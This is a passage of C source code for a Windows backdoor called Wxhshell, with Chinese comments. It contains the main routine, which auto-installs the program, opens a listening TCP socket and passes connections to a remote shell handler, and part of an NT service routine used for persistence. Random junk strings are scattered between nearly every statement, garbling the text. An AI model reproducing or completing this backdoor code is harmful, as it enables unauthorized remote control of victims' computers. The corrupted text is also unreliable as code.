| unsigned long cbNeeded; F)<G]i8n~ h2/1S{/n] if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hOrk^iYN= +k(3+b$S- CloseHandle(hProcess); 9^
*ZH1 ~a8G 5M if(strstr(procName,"services")) return 1; // 以服务启动 5S-o
2a YL&b9e4 return 0; // 注册表启动 ixJ20A7 } +v[$lh+ /Y\E68_Fh // 主模块 eI=Y~jy int StartWxhshell(LPSTR lpCmdLine) ?C>VB+X}y { sWZtbW;) SOCKET wsl; jO3u]5}.6 BOOL val=TRUE; :86luLFm int port=0; l"pz
)$eE struct sockaddr_in door; (h@yA8>n >s 8:1l if(wscfg.ws_autoins) Install(); j2{,1h j T.m)c%]^/ port=atoi(lpCmdLine); I;11j "TH-A6v1 if(port<=0) port=wscfg.ws_port; O"s`-OM;n ^* /v,+01f WSADATA data; 3W0E6H" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GT\s!D;< 3RH#e1Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f{ 4G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v[yTk[zd0 door.sin_family = AF_INET; hZ\W ?r door.sin_addr.s_addr = inet_addr("127.0.0.1"); U0bEB door.sin_port = htons(port); E[Ws} n. fF-\TW if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #+ lq7HJ1 closesocket(wsl); Sc"4%L return 1; 6quWO2x } D@b<}J>0' T~~$=vP9 if(listen(wsl,2) == INVALID_SOCKET) { uI-76 closesocket(wsl); @01D1A return 1; ?D^,K`wY=B } Xx<&6
4W Wxhshell(wsl); )}it,< WSACleanup(); <QoE_z`76 7%"\DLA return 0; &_^*rD~ qxcBj } Y /ac}q ]{6yS9_tuI // 以NT服务方式启动 UG?C=Tf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5@Lxbe(
q { 0)Um W{ DWORD status = 0; n\ ',F DWORD specificError = 0xfffffff; J)yy}[Fx lbuW*) serviceStatus.dwServiceType = SERVICE_WIN32; =UKR<@QrK serviceStatus.dwCurrentState = SERVICE_START_PENDING; c'Tu,- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7D~O/#dcc serviceStatus.dwWin32ExitCode = 0; =5=Vm[ serviceStatus.dwServiceSpecificExitCode = 0; y>cmKE serviceStatus.dwCheckPoint = 0; w3bH|VnU8; serviceStatus.dwWaitHint = 0; 5NvyK[w] ${?ex nb$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dx# @D# if (hServiceStatusHandle==0) return; *=0r>] yjFQk,A status = GetLastError();
2:5gMt if (status!=NO_ERROR) \^( vlcy { 7 KdM>1! serviceStatus.dwCurrentState = SERVICE_STOPPED; ^FMa8;'o serviceStatus.dwCheckPoint = 0; .rB;zA;4S) serviceStatus.dwWaitHint = 0; n
ua8y(W serviceStatus.dwWin32ExitCode = status; I~]mX; serviceStatus.dwServiceSpecificExitCode = specificError; MbF e1U]B SetServiceStatus(hServiceStatusHandle, &serviceStatus); #|_UA}Y return; AW;)_|xM } F#bo4'&>@ 68GGS`& serviceStatus.dwCurrentState = SERVICE_RUNNING; dUtIAh-j serviceStatus.dwCheckPoint = 0; -Tkd@ serviceStatus.dwWaitHint = 0; Y& |